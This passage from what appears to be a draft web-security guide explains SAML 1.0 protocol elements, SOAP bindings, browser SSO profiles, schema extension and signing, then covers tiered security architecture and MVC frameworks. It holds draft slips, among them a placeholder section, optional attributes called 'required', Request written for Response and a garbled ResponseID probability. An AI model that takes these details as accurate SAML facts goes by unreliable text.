SAML defines a set of Action Namespaces and their associated values. They are as follows:

```
Read/Write/Execute/Delete/Control
Namespace:              urn:oasis:names:tc:SAML:1.0: action:rwedc
Possible Values:        Read Write Execute Delete Control
Comments:               The values describe what you can do with the resource.

Read/Write/Execute/Delete/Control with Negation
Namespace:              urn:oasis:names:tc:SAML:1.0:action:rwedc-negation
```

```
Possible Values:        Read Write Execute Delete Control ~Read ~Write ~Execute
                        ~Delete ~Control
Comments:               The values describe what you can do with the resource.

Get/Head/Put/Post
Namespace:              urn:oasis:names:tc:SAML:1.0: action:ghpp
Possible Values:        GET HEAD PUT POST
Comments:               The values describe common HTTP operations that you could
                        execute on a URL resource.

UNIX File Permissions
Namespace:              urn:oasis:names:tc:SAML:1.0:action:unix
Possible Values:        4 digit number, XXXX, where X represents a decimal number
Comments:               The 4 digits represent extended user group world permissions.
                        So if extended is set to +2, sgid is set, if extended is set
                        to +4 suid is set. The rest of the digits follow the
                        standard rwx Unix values. 7 is read, write, and execute.
                        5 is read and execute, etc.
```

Here is an example AuthorizationDecisionQuery:

```
<samlp:Request ...>
<samlp:AuthorizationDecisionQuery
Resource="http://jonesco.com/rpt_12345.htm">
<saml:Subject>
<saml:NameIdentifier Format="#emailAddress" NameQualifier="smithco.com">
joeuser@smithco.com
</saml:NameIdentifier>
</saml:Subject>
<saml:Actions Namespace="http://...">
<saml:Action Namespace="urn:oasis:names:tc:SAML:1.0:action:rwedc">Read
</saml:Action>
</saml:Actions>
<saml:Evidence>
<saml:Assertion>...</saml:Assertion>
</saml:Evidence>
</samlp:AuthorizationDecisionQuery>
</samlp:Request>
```

The last two elements define alternate methods of fetching assertions by presenting an artifact (samlp:AssertionArtifact) or by presenting an AssertionID (saml:AssertionIDReference). You could have one or more of the following elements.

1. saml:AssertionIDReference

   The saml:AssertionIDReference is of type IDType and basically points to an assertion that it is requesting. Here is an example:

```
<saml:AssertionIDReference>128.14.234.20.12345678</saml:AssertionIDReference>
```

2. samlp:AssertionArtifact

   The samlp:AssertionArtifact is based on the xsi:type String. It holds an 8 byte Base 64 encoded string that indirectly points to an Assertion. Here is an example:

```
<saml:AssertionArtifact >128.14.234.20.12345678</saml:AssertionArtifact >
```

Once the request is received, the Authority has to send a response. Coincidentally, the element returned is samlp:Response.

The samlp:Response

The samlp:Response contains a set of assertions (if successful) or status code (when things go wrong). The samlp:Response, like the samlp:Request, extends an abstract type samlp:ResponseAbstractType. A samlp:Response can be signed to verify the sending party to the relying party. The samlp:ResonseAbstractType looks like the following:

```
<complexType name="ResponseAbstractType" abstract="true">
<sequence>
<element ref = "ds:Signature" minOccurs="0"/>
</sequence>
<attribute name="ResponseID" type="saml:IDType" use="required"/>
<attribute name="InResponseTo" type="saml:IDReferenceType" use="optional"/>
<attribute name="MajorVersion" type="integer" use="required"/>
<attribute name="MinorVersion" type="integer" use="required"/>
<attribute name="IssueInstant" type="dateTime" use="required"/>
<attribute name="Recipient" type="anyURI" use="optional"/>
</complexType>
```

The ResponseAbstractType defines an optional ds:Signature element which allows the Response to be signed. There are 4 required attributes and 2 optional attributes.

The 4 required attributes of the samlp:ResponseAbstractType are:

- ResponseID -- The ResponseID must be a globally unique identifier with less than 2^-128 (2^-160 recommended) probability of creating duplicates for different Requests.
- MajorVersion -- "1" for SAML 1.0
- MinorVersion -- "0" for SAML 1.0
- IssueInstant -- The date and time in UTC format when the assertion was created. UTC is sometimes called GMT. All time is relative to UTC (or GMT) and the format is "YYYY-MM-DDTHH:MM:SSZ". An example is "2003-01-04T14:36:04Z". T is the date time separator. Z stands for "Zulu" or GMT time zone.

The 2 required attributes of the samlp:ResponseAbstractType are:

1. InResponseTo

   This holds the RequestID of the samlp:Request that generated this samlp:Response.

2. Recipient

   A URI that represents a recipient or a resource managed by a recipient. This value if present must be verified by the recipient.

The samlp:Request extends the samlp:ResponseAbstractType by adding a required samlp:Status element and optional saml:Assertion element. If the Status is "success" the response includes an Assertion. If the Status is "failure" then the Response will NOT contain an assertion. Here is XML schema definition for samlp:Response:

```
<element name="Response" type="samlp:ResponseType"/>
<complexType name="ResponseType">
<complexContent>
<extension base="samlp:ResponseAbstractType">
<sequence>
<element ref="samlp:Status"/>
<element ref="saml:Assertion" minOccurs="0" maxOccurs="unbounded"/>
</sequence>
</extension>
</complexContent>
</complexType>
```

You should be familiar with saml:Assertion. The samlp:Status probably needs more explaining. The samlp:Status describes the result of the samlp:Request. The samlp:Status has the following XML Schema definition:

```
<element name="Status" type="samlp:StatusType"/>
<complexType name="StatusType">
<sequence>
<element ref="samlp:StatusCode"/>
<element ref="samlp:StatusMessage" minOccurs="0" maxOccurs="1"/>
<element ref="samlp:StatusDetail" minOccurs="0"/>
</sequence>
</complexType>
```

The samlp:Status has a complex structure where its sub-element, samlp:StatusCode, can have nested samlp:StatusCode elements. Each of the samlp:StatusCode elements has a single required Value attribute. Here is the XML Schema that describes the samlp:StatusCode element:

```
<element name="StatusCode" type="samlp:StatusCodeType"/>
<complexType name="StatusCodeType">
<sequence>
<element ref="samlp:StatusCode" minOccurs="0"/>
</sequence>
<attribute name="Value" type="QName" use="required"/>
</complexType>
```

The Value attribute of the top level samlp:StatusCode has to have one of the following values:

```
Success -- The request succeeded.
VersionMismatch -- The version was incorrect.
Requester -- There was an error at the requester.
Responder -- There was an error at the responder.
```

The second-level status codes can be one of the following:

```
RequestVersionTooHigh -- The request's version is not supported by the responder
                         because it is too high.
RequestVersionTooLow --  The request's version is not supported by the responder
                         because it is too low.
RequestVersionDeprecated -- The responder does not accept the version of the
                            protocol specified.
```

```
TooManyResponses -- The response could only return a subset of all the value elements.
RequestDenied -- The responder has elected not to respond due to an insecure environment
                 or protocol resonse.
ResourceNotRecognized -- The responder does not acknowledge the resource provided
                         because it is invalid or unrecognized.
```

All of the samlp:Status values above are Qnames (qualified names) in the urn:oasis:names:tc:SAML:1.0:protocol namespace. If you wanted to create your own samlp:Status values, they have to be in their own namespace and be fully qualified. Here is an example:

```
<StatusCode Value="myPrefix:TheServerIsOverwhelmed">
<StatusCode Value="myPrefix:TooManyConcurrentSSLRequests"/>
</StatusCode>
```

The samlp:StatusMessage serves as a generalized error description corresponding to the state of the top level samlp:Status. The samlp:StatusDetail allows you to provide any well formed XML that can be processed further by the Relying party.

Here is an example of a samlp:Response:

```
<samlp:Response MajorVersion="1" MinorVersion="0"
   ResponseID="128.14.234.20.90123456" InResponseTo="128.14.234.20.12345678"
   IssueInstant="2001-12-03T10:02:00Z" Recipient="...URI..."
   xmlns:samlp="urn:oasis:names:tc:SAML:1.0:protocol" >
<samlp:Status>
<samlp:StatusCode Value="samlp:Success" />
<samlp:StatusMessage>Some message</samlp:StatusMessage>
</samlp:Status>
<saml:Assertion MajorVersion="1" MinorVersion="0"
   AssertionID="128.9.167.32.12345678" Issuer="smithco.com">
<saml:Conditions NotBefore="2001-12-03T10:00:00Z"
   NotAfter="2001-12-03T10:05:00Z" />
<saml:AuthenticationStatement ...>
</saml:AuthenticationStatement>
</saml:Assertion>
</samlp:Response>
```

Bindings and Profiles

A binding defines how SAML Requests and Responses are mapped into a transport protocol for transport between a relying and asserting party. A profile defines how a framework or protocol can use SAML to make assertions about components or parts of that protocol or framework. SAML over SOAP is the only binding defined in the SAML spec. Although SOAP can be transferred over many transports, HTTP is the only required binding for SOAP. So SAML over SOAP over HTTP is a baseline.

SOAP is a XML based RPC (Remote Procedure Call) protocol. It is made up of three major XML elements: a root level Envelope element, a Header element that is a sub- element of Envelope, and a Body element that follows the Header element and is a sub- element of Envelope. Here is an example of how a SAML Request is passed over SOAP:

```
POST /SamlService HTTP/1.1 Host: www.example.com
Content-Type: text/xml
SOAPAction: http://www.oasis-open.org/committees/security
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/">
<SOAP-ENV:Body>
<samlp:Request xmlns:samlp:="..." xmlns:saml="..." xmlns:ds="...">
```

```
<ds:Signature> ... </ds:Signature>
<samlp:AuthenticationQuery>
   ...
</samlp:AuthenticationQuery>
</samlp:Request>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
```

Here is how the SAML Response is returned within a SOAP Envelope:

```
HTTP/1.1 200 OK Content-Type: text/xml
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/">
<SOAP-ENV:Body>
<samlp:Response xmlns:samlp="..." xmlns:saml="..." xmlns:ds="...">
<Status>
<StatusCodevalue="samlp:Success"/>
</Status>
<ds:Signature> ... </ds:Signature>
<saml:Assertion>
<saml:AuthenticationStatement>
...
</saml:AuthenticationStatement>
</saml:Assertion>
</samlp:Response>
</SOAP-Env:Body>
</SOAP-ENV:Envelope>
```

There are two browser profiles for single sign-on (SSO) defined in SAML: artifact and POST. The browser/artifact profile of SAML mandates the usage of a SAML artifact in the URL of the HTTP 302 (redirect) status. The browser/POST profile of SAML uses an HTML <FORM...> to pass assertions directly to a destination site.

An artifact is a pointer to an assertion. A SAML artifact is the base 64 encoding of the TypeCode and RemainingArtifact (B64(TypeCode RemainingArtifact)). The TypeCode is a 2 byte number in hex notation (example 0x0001). The TypeCode value determines the format of the RemainingArtificact. 0x0001 is the only mandated TypeCode and is associated with a RemainingArtifact with the following format:

```
RemainingArtifact := SourceID AssertionHandle
SourceID := 20-byte_sequence
AssertionHandle := 20-byte_sequence
```

The SourceID has to be unique among all possible source sites. The SourceID is similar to an IP address but you should not use an IP address or anything that can help an attacker infer your identity. The AssertionHandle can be any value that identifies an assertion but it MUST be infeasible to construct or guess the value of a valid assertion or any part of an assertion from the AssertionHandle. An artifact is used because most Web/application servers have limitations on URL length. Lets look at the SSO profile in more depth.

The Web browser SSO profile of SAML defines a scenario where an authenticated user from a source site wants to access a resource at a destination site without having to log in again. When the user wants to access the destination site he/she selects a link which references an inter-site transfer URL. The inter-site transfer URL is located on the source site and has a mandatory Target parameter in its query string. The value that the target equals (http://www.sourcesite.com/interSiteURL?Target=ebay_Auctions_Cars) is a logical key for a resource at the destination site. The Target is a name that the source site uses to reference the resource at the destination site. The source site uses the logical key to identify the URL to the Assertion consumer at the destination site as well as the destination site's name for that resource. If the artifact profile is being used, the source site returns a HTTP 302 status to the browser with a URL that points to the assertion consumer and a TARGET parameter which defines the name for the requested resource that the destination site uses. The destination site receives the artifact and then makes an out-of-band request to the source site's artifact consumer and receives an assertion from the source site. If the destination

site accepts the returned assertion, the user is allowed access to the resource.

When the POST profile is being used, the inter-site URL returns an HTML page to the browser that contains a SAML assertion. The page with the SAML assertion is then posted (by JavaScript) to the destination site assertion consumer URL. Here is an example:

```
<HTML><Body Onload="document.forms[0].submit()">
<FORM Method="Post" Action="<assertion consumer host name and path>" ...>
<INPUT TYPE="hidden" NAME="SAMLResponse" Value="B64(<response>)">
...
<INPUT TYPE="hidden" NAME="TARGET" Value="<Target>">
</Body></HTML>
```

The destination site receives the Assertion and resource name and then allows or denies access to the destination site resource.

There are two different names for the same resource (Target and TARGET). Target is the source site's name for the remote resource. TARGET is the destination site's name for their local resource. This is done to isolate changes in one company's environment from the other. If the destination site decides to rearrange it web pages and resources, I don't have to change any code because all of my code references the local name. I just have to change the remote name that my local name is mapped to.

If your security requirements do not exactly fit within the standard SAML XML elements, you can extend SAML.

Extending SAML elements

There are two ways to extend SAML elements. The first is direct extension using the xsi:type attribute. The second way is through substitution groups. Depending on your XML instance requirements you will pick either option.

Direct Extension

You use direct extension when you do not want to change the physical names of the XML elements within the SAML schema and only want to add additional elements or restrict existing sub elements value ranges. Here is an example how you could define your own XML schema that extends the saml:StatementAbstractType:

```
<element name="AxiomaticKeyStatement" type="yourPrefix:AxiomaticKeyStatementType"/>
<complexType name="AxiomaticKeyStatementType">
<complexContent>
<extension base="saml: StatementAbstractType">
<sequence>
<element ref="yourPrefix:AxiomaticKey"/>
</sequence>
</extension>
</complexContent>
</complexType>
```

Here is an actual instance of your custom extended AxiomaticKeyStatement.

```
<saml:Assertion ...>
<saml:Statement xsi:type="yourPrefix:AxiomaticKeyStatement">
<yourPrefix:AxiomaticKey>
<ds:KeyInfo>
<ds:KeyName>MasterKey</ds:KeyName>
<ds:KeyValue>
<ds:RSAKeyValue>
<ds:Modulus>998/T2PUN8HQlnhf9YIKdMHHGM7HkJwA56UD0a1oYq7EfdxSXAidruAsz
NqBoOqfarJIsfcVKLob1hGnQ/l6xw==</ds:Modulus>
```

```
<ds:Exponent>AQAB</ds:Exponent>
</ds:RSAKeyValue>
</ds:KeyValue>
</ds:KeyInfo>
</yourPrefix:AxiomaticKey>
</saml:Statement>
</saml:Assertion>
```

Notice that we extended from the base type of Statement and not from Statement directly. The xsi:type attribute is mandatory when we extend in this manner. We are still using the saml:Statement element but we have added additional elements within it. The other way we can extend SAML is through substitution groups.

Substitution Groups

Substitution groups allow you to create your own named elements and use them in place of existing SAML elements. Reusing the example from above:

```
<element name="AxiomaticKeyStatement" type="yourPrefix:AxiomaticKeyStatementType"
substitutionGroup="saml:Statement"/>
<complexType name="AxiomaticKeyStatementType">
<complexContent>
<extension base="saml: StatementAbstractType">
<sequence>
<element ref="yourPrefix:AxiomaticKey"/>
</sequence>
</extension>
</complexContent>
</complexType>
```

Here is an actual instance of your custom extended AxiomaticKeyStatement using substitution groups.

```
<saml:Assertion ...>
<yourPrefix:AxiomaticKeyStatement>
<yourPrefix:AxiomaticKey>
<ds:KeyInfo>
<ds:KeyName>MasterKey</ds:KeyName>
<ds:KeyValue>
<ds:RSAKeyValue>
<ds:Modulus>998/T2PUN8HQlnhf9YIKdMHHGM7HkJwA56UD0a1oYq7EfdxSXAidruAsz
NqBoOqfarJIsfcVKLob1hGnQ/l6xw==</ds:Modulus>
<ds:Exponent>AQAB</ds:Exponent>
</ds:RSAKeyValue>
</ds:KeyValue>
</ds:KeyInfo>
</yourPrefix:AxiomaticKey>
</yourPrefix:AxiomaticKeyStatement>
</saml:Assertion>
```

Although either method is semantically correct. Direct extension is the preferred methods because it introduces less of a dependency on the external custom schema and works with most schema validators. Although it is possible to extend any SAML element using XML Schema's extension mechanism SAML defines several explicit extension points.

Where you can extend the SAML schema

- Statement

  The type it is based on is abstract and empty. You will extend from this element's type when you want to create your own type of Statement, which does not resemble any of SAML's Statement subtypes.

- SubjectStatement

  The type it is based on is abstract and has a Subject nested element.
- Condition

  The type it is based on is abstract and empty. Again you will extend from this element's type when you want to create your own type of Condition, which does not resemble any of SAML's Condition subtypes. Conditions can be extended to contain additional Condition subtypes. But if the party receiving an assertion cannot understand your custom Condition subtype then they will have to consider the assertion Indeterminate.
- Query

  The type it is based on is abstract and empty. You will extend from this element's type when you want to create your own Query type, which does not resemble any of SAML's Query subtypes.
- SubjectQuery

  The type it is based on is abstract and has a Subject nested element. You will extend this element's type when you want to create your own Query type and reuse the nested saml:Subject element.

If you need to add additional attributes or nested elements within the following elements they are feasible extension points as well.

- AuthenticationStatement
- AttributeStatement
- AuthorizationDecisionStatement
- AudienceRestrictionCondition
- Request
- AuthenticationQuery
- AuthorizationDecisionQuery
- AttributeQuery
- Response

The following elements have <any> elements within them or are of type "anyType" and therefore can serve as extension points without requiring external XML schema definition.

```
AttributeValue     (type="anyType")
Advice             (has nested element <any namespace="##other" processContents="lax" />)
```

The Assertion and Statement types can be extended to create customized Assertion and Statement types but this can break interoperability. The major drawback to creating your own extension is interoperability. Make sure you understand the outcome if any of the interacting parties do not understand your custom extensions.

Assertions are usually signed to prove that the Assertion generated came from the entity that signed the Assertion.

Using Digital Signatures with SAML:

XML Signature (XS) provides integrity and authentication for XML elements within a document. XS ensures certain parts of a XML document are unaltered and created by the party that signed the document. XS adds additional

complexity by requiring interacting parties to negotiate canonicalization methods, key sharing, XML transformations, and hashing algorithms at the application level. In most cases, where the relying party and asserting party are communicating directly to each other, mutual authentication over SSL/TLS will provide authentication, integrity, confidentiality, and can form the basis for non-repudiation. In other cases, where intermediaries separate the relying and asserting parties XS becomes crucial.

Although any XML element within a SAML document could be signed, SAML only specifies 3 elements that should be signed: samlp:Request, samlp:Response, and saml:Assertion. SAML specifies support of enveloped signatures. Enveloped signatures describe an XML layout where the ds:Signature element is "enveloped" by the XML document or element that it is signing. The ds:Signature element in a saml:Assertion element follows the saml:Advice element.

```
<element name = "Assertion" type = "saml:AssertionAbstractType"/>
<complexType name = "AssertionAbstractType" abstract = "true">
<sequence>
<element ref = "saml:Conditions" minOccurs = "0"/>
<element ref = "saml:Advice" minOccurs = "0"/>
<element ref = "ds:Signature" minOccurs="0" maxOccurs="1"/>
</sequence>
<attribute name = "MajorVersion" use = "required" type = "integer"/>
<attribute name = "MinorVersion" use = "required" type = "integer"/>
<attribute name = "AssertionID" use = "required" type = "saml:IDType"/>
<attribute name = "Issuer" use = "required" type = "string"/>
<attribute name = "IssueInstant" use = "required" type = "timeInstant"/>
</complexType>
```

ds:Signature signs. (For details on the ds:Signature element refer to the Digital Signature section of the XML Security Chapter). Signing a samlp:Request or samlp:Response works in a similar fashion.

```
<complexType name="RequestAbstractType" abstract="true">
<attribute name="RequestID" type="saml:IDType" use="required"/>
<attribute name="MajorVersion" type="integer" use="required"/>
<attribute name="MinorVersion" type="integer" use="required"/>
<element ref = "ds:Signature" minOccurs="0" maxOccurs="1"/>
</complexType>

<complexType name="ResponseAbstractType" abstract="true">
<attribute name="ResponseID" type="saml:IDType" use="required"/>
<attribute name="InResponseTo" type="saml:IDType" use="required"/>
<attribute name="MajorVersion" type="integer" use="required"/>
<attribute name="MinorVersion" type="integer" use="required"/>
<element ref = "ds:Signature" minOccurs="0" maxOccurs="1"/>
</complexType>
```

In both cases, the ds:Signature signs the samlp:Request or samlp:Response that envelops it. In some cases a super signature can implicitly sign SAML elements. A super signature is a ds:Signature that signs a XML element which envelops all mandatory elements within a saml:Assertion, samlp:Request or samlp:Response. For example, if a samlp:Request was being transported within a SOAP-ENV:Body and that SOAP- ENV:Body element was signed then the samlp:Request inherits its signature from the super-signature on the SOAP-ENV:Body element. If a saml:Assertion needs to be sent to a relying party through an intermediary than it cannot use a super-signature and has to use the signing methods defined above.

Securing SAML

The best way to secure SAML interactions is to ensure confidentiality, integrity, and mutual authentication between every interacting party of a SAML transaction--weather the party is an end point or intermediary. This implies the use of a secure transport protocol such as IPSec, SSH, SSL, or TLS between all interacting parties. Exposing signed (using XML Signature) and encrypted (using XML Encryption) SAML assertions over non- secure protocols such as HTTP allows for replay and denial of service attacks. XML Signature is still required in cases where the assertion

generated flows through an intermediary. The XML Signature on the Assertion guarantees that the Assertion is from the originator (signer) not intermediary. In this case where you are using a secure transport protocol such as SSL, XMLEncryption only provides value when you don't want to share Assertion contents with intermediaries. When you are using both XML Signature and XML Encryption together you should first sign and then encrypt the assertion being passed. This hides the identity of the signer and its key. In addition, you will want to use a CBC (cipher block chained) or stream encryption algorithm to protect against certain attacks as outlined in The Order of Encryption and Authentication for Protecting Communications by Hugo Krawczyk. For more information on XML Encryption check out the chapter on XML Encryption. In some cases assertions are long lived and need to be stored. In most cases they should never be stored on the local file system. Ideally, long-lived assertions should be encrypted (by the database) and stored in a (UTF8 character set encoding) database. UTF8 is the defacto-encoding standard for internationalization and XML vocabularies. To minimize the possibility of Replay attacks all members of a federated authentication system will need to generate assertions with expiration dates or sequence numbers. If expiration dates are used, all participating members will need to run Network Time Protocol (NTP) to ensure assertions are not still born.

Weakness of Federated Security Systems

Single sign-on between disparate systems involves giving up defense in depth and opening up your application to more points of attack. In most cases you have no control over the security policies that partner sites impose. Some partner sites might allow passwords that are easily guessed or might not require users to change their password often. In other cases, partner sites may not have good security practices in general. The probably of your site being compromised becomes the probability of the worst run site in your federation.

Summary

SAML is showing a lot of promise. It is the first time that all of the major vendors have come together to support a single standard for sharing security related information. There are still issues to resolve like how users are mapped to different systems. Luckily the SAML group is working on this for 2.0. I hope you have enjoyed the journey as much as I have.

Passport

Passport Stuf goes here.

Chapter 5. Architecture

General Considerations

Web applications pose unique security challenges to businesses and security professionals in that they expose the integrity of their data to the public. A solid 'extrastructure' is not a controllable criterion for any business. Stringent security must be placed around how users are managed (for example, in agreement with an 'appropriate use' policy) and controls must be commensurate with the value of the information protected. Exposure to public networks may require more robust security features than would normally be present in the internal 'corporate' environment that may have additional compensating security.

Several best practices have evolved across the Internet for the governance of public and private data in tiered approaches. In the most stringently secured systems, separate tiers differentiate between content presentation, security and control of the user session, and the downstream data storage services and protection. What is clear is that to secure private or confidential data, a firewall or 'packet filter' is no longer sufficient to provide for data integrity over a public interface.

Where it is possible, sensible, and economic, architectural solutions to security problems should be favored over technical band-aids. While it is possible to put "protections" in place for most critical data, a much better solution than protecting it is to simply keep it off systems connected to public networks. Thinking critically about what data is important and what worst-case scenarios might entail is central to securing web applications. Special attention should be given to the introduction of "choke" points at which data flows can be analyzed and anomalies quickly addressed.

Most firewalls do a decent job of appropriately filtering network packets of a certain construction to predefined data flow paths; however, many of the latest infiltrations of networks occur through the firewall using the ports that the firewall allows through by design or default. It remains critically important that only the content delivery services a firm wishes to provide are allowed to service incoming user requests. Firewalls alone cannot prevent a port-based attack (across an approved port) from succeeding when the targeted application has been poorly written or avoided input filters for the sake of the almighty performance gain. The tiered approach allows the architect the ability to move key pieces of the architecture into different 'compartments' such that the security registry that is not on the same platform as the data store or the content server. Because different services are contained in different 'compartments', a successful exploit of one container does not necessarily mean a total system compromise.

A typical tiered approach to security is presented for the presentation of data to public networks.

A standalone content server provides public access to static repositories. The content server is hosted on a 'hardened' platform in which only the required network listeners and services are running on the platform. Firewalls are optional but a very good idea.

Content services are separated from security repositories and downstream data storage because the use of user credentials is required. The principle at work is to place the controls and content in different compartments and protect the transmission of these confidential tokens using encryption. The user credentials are stored away from the content services and the data repositories such that a compromise of the web tier (content service) doesn't compromise the user registry or the data stores (although the user registry is commonly one of the collections of information in a data store). Segregating the "Security Registry" from the "Content Servers" also allows for more robust controls to be engineered into the functions that validate passwords, record user activity, and define authority roles to data, and additionally provides for some shared resource pooling for common activities such as maintaining a persistent database connection.

As an example, processing financial transactions typically requires a level of security that is more complex and stringent. Two tiers of firewalls may be needed as a minimal network control, and the content services may be further separated into presentation and control. Auditing of transactions may provide for an 'end-to-end' audit trail in which changes to financial transaction systems are logged with session keys that encapsulate the user identity, originating source network address, time-of-day and other information, and pass this information with the transaction data to the systems that clear the transactions with financial institutions. Encryption may be a requirement for elec-

tronic transmissions throughout each of the tiers of this architecture and for the storage of tokens, credentials and other sensitive information.

Digital signing of certain transactions may also be enforced if required by materiality, statutory or legal constraints. Defined conduits are also required between each of the tiers of the services to provide only for those protocols that are required by the architecture. Middleware is a key component; however, middle tier Application Servers can alternatively provide many of the services provided by traditional middleware.

Security from the Operating System

In general, relying on the operating system for security services is not a good strategy. That is not to say the operating system is not expected to provide a secure operating environment. Services like authentication and authorization are generally not appropriately handled for an application by the operating system. Of course this flies in the face of Microsoft's .NET platform strategy and Sun's JAAS. There are times when it is appropriate, but in general you should abstract the security services you need away from the operating system. History shows that too many system compromises have been caused by applications with direct access to parts of the operating system. Kernels generally don't protect themselves. Thus if a bad enough security flaw is found in a part of the operating system, the whole operating system can be compromised and the applications fall victim to the attacker. If the purpose of an operating system is to provide a secure environment for running applications, exposing its security interfaces is not a strategically sound idea.

Security from the Network Infrastructure

Web applications run on operating systems that depend on networks to share data with peers and service providers. Each layer of these services should build upon the layers below it. The bottom and fundamental layer of security and control is the network layer. Network controls can range from Access Control Lists at the minimalist approach to clustered stateful firewall solutions at the top end. The primary two types of commercial firewalls are proxy-based and packet inspectors, and the differences seem to be blurring with each new product release. The proxies now have packet inspection and the packet inspectors are supporting HTTP and SOCKS proxies.

Proxy firewalls primarily stop a transaction on one interface, inspect the packet in the application layer and then forward the packets out another interface. Proxy firewalls aren't necessarily dual-homed as they can be implemented solely to stop stateful sessions and provide the forwarding features on the same interface; however, the key feature of a proxy is that it breaks the state into two distinct phases. A key benefit of proxy-based solutions is that users may be forced to authenticate to the proxy before their request is serviced, thereby providing for a level of control that is stronger than that afforded simply by the requestor's TCP/IP address.

Packet inspectors receive incoming requests and attempt to match the header portions of packets (along with other possible feature sets) with known traffic signatures. If the traffic signatures match an 'allowed' rule the packets are allowed to pass through the firewall. If the traffic signatures match 'deny' rules, or they don't match 'allowed' rules, they should be rejected or dropped. Packet inspectors can be further broken into two categories: stateful and non-stateful. A stateful packet inspection firewall learns a session characteristic when the initial session is built after it passes the rulebase, and requires no return rule. The outbound and inbound rules must be programmed into a non-stateful packet inspection firewall.

Regardless of the firewall platform adopted for each specific business need, the general rule is to restrict traffic between web clients and web content servers by allowing only external inbound connections to be formed over ports 80 and 443. Additional firewall rulesets may be required to pass traffic between Application Servers and RDBMS engines such as port 1521. Segmenting the network and providing for routing 'chokes' and 'gateways' is the key to providing for robust security at the network layers.

Chapter 6. Web Application Architectures

Christopher Todd

Early in the history of dynamic web applications, developers, designers, and architects began to realize that complex web applications were no different from complex stand-alone applications, and that the stability and maintainability of a web application depended critically on its architecture. Furthermore, as web applications became more complex and web interfaces became increasingly graphic design-intensive, a split developed between the types of people involved in the creation of a web application. Web designers often worked with graphical design issues, page layout, user interface design, etc., while web developers worked with the application logic, the processing of web forms, and the interaction of the web application with its data stores (databases, filesystems, and directories). A mechanism was needed that would allow web designers and web developers to do their own thing without stepping on each other's toes. Many potential solutions were developed (and are still being developed), but they can all be traced to an architectural pattern developed many years ago: the Model-View-Controller design pattern.

Model-View-Controller (MVC)

Originally described by the "Gang of Four" (Erich Gamma, Richard Helm, Ralph Johnson, and John Vlissides) in their seminal work Design Patterns: Elements of Reusable Object-Oriented Software, the Model-View-Controller pattern involves separating the three primary duties every program must perform: maintain a model of the application data, decide what data will be displayed (based on user input and application state), and display data to the user. The MVC pattern has been successfully applied in many programming languages and paradigms, but it works particularly well in Object-Oriented languages such as Java, C++, Python, and Smalltalk.

The MVC pattern is based on three components: the Controller, the Model, and the View. The View is responsible for presenting data to the user in an appropriate manner. The Model is responsible for processing the data and maintaining the application state and an internal representation of the application data. The Controller is responsible for determining what actions need to take place as a result of a particular user input (or change in the applications internal state). By clearly separating these three aspects of an application, it becomes easier for web designers to concentrate solely on the user interface, without having to worry about screwing up the data processing, and it allows developers to concentrate on the application logic and data storage without having to worry about screwing up the presentation layer.

Model 1 and Model 2

In the early days of Java Server Pages (JSP), two approaches to JSP design were described and named (somewhat uncreatively) Model 1 and Model 2. Model 1 JSP page designs encapsulated the View and the Controller parts of the MVC pattern within the same JSP page (or pages), and the data underlying the application (the Model) was represented using JavaBeans. While this design was originally discussed only in the context of JSP pages, a great many web developers will recognize this pattern from their own work in Active Server Pages, PHP, Perl CGI scripts, or similar scripting page-based web application development systems. The major problem with this approach, of course, is that before too long the script page becomes unmanageably complex, with HTML-based display code being intermingled with data processing code, wedged in between application flow-processing code. For all but the simplest web applications, Model 1 is frowned upon as a sustainable design approach.

Model 2 is essentially the MVC pattern, with a servlet acting as the Controller, and JSP pages acting as the View, with JavaBeans acting as the model. While this approach does not completely hide programming details from page designers, it is a vast improvement over Model 1. The result is an application that is well designed, maintainable, and which separates (to a great extent) the duties assigned to page designers and web developers.

Applying these architectures to security

One might argue that the primary advantage to using design patterns is to make code easier to understand, easier to

modify, and easier to maintain. The end result is software that works more reliably and is easier to fix when bugs are discovered. So what does any of this have to do with web application security? It has a lot to do with security. Well designed code is less likely to contain fundamental design-related security flaws. Code that is easy to understand because it is designed well is less likely to be screwed up by new developers on the team. Code that is easier to maintain will contain fewer bugs, and bugs are the primary cause of many security problems.

Furthermore, the web application architectures discussed above can improve web application security by clearly delineating the paths through which application data travel, how they are processed in each step, and how they are finally displayed to the user. Thinking of each portion of the application as a "boundary" allows a separation of responsibilities among developers, and provides tremendous flexibility in determining how best to secure the application and its data at that point in the processing. For example, it has been stated repeatedly throughout this guide that the single most important security-related task a developer must perform is to filter user input. But deciding what to filter out is dependant on how the data is about to be processed. For example, if the data is about to be used in a database query, then you would want to filter characters such as ' and - that can be used in SQL injection attacks. But if the data is about to be displayed to the user, then filtering ' and - might mean that Cynthia O'Neill-Jones is going to make a call to customer support to ask why her name is spelled wrong.

Applying appropriate data processing at various times is greatly facilitated by the use of MVC and similar design patterns, because the Model knows how to handle data as it moves through the various stages of processing within the application. This kind of modularity is a hallmark of good software design, and well designed software has a much better chance of being secure than poorly designed software.

An additional advantage of the MVC pattern is that the Controller acts as a gate-keeper, making it a natural candidate for handling session management, authentication and authorization. Since all requests will go through the Controller before being sent to the appropriate View or Model component, developers can determine whether the request is part of a session, and if so, whether the user that correpsonds to that session is authorized to make that request. If the request is not part of a session, the Controller can return the login page.

MVC Frameworks

The first time a web application developer sees how useful the MVC pattern can be in designing a web application, it often feels like an epiphany. The joyous feeling of understanding wears off pretty quickly when the developer realizes that understanding an idea in the abstract, and implementing the idea in the real, are two different things, and implementation is often more difficult than understanding. The amount of work required to implement a robust, easy to use MVC based application can seem daunting, and this process must be repeated for each new web application you develop. Given that laziness is a virtue for most programmers, a number of groups of open-source software developers have created generic, reusable, MVC-based web application development frameworks.

Jakarta Struts

Jakarta Struts is probably the most well known and widely adopted of the MVC frameworks. Based on Java Servlet and Java Server Pages technologies, it is most commonly used with the Tomcat servlet container, but it can be used with any compliant servlet container. It is highly flexible and configurable, capable of using practically any kind of data store for maintaining the Model. For the View component, it is flexible enough to support JSP pages, the Velocity templating system, XSLT, and more. The basic Controller is an ActionServlet that uses ActionMappings to map request URIs to particular Action classes. These Action classes (part of the Model) then process the request, act appropriately on the application data, and return the result to the View.

Maverick and derivatives

Maverick is an MVC-based web application development framework that is similar in design to Struts, but designed to be a little simpler and easier to use. Maverick is based on Java and J2EE, but has also been ported to .NET (Maverick.NET) and PHP (Ambivalence).

OWASP .NET MVC

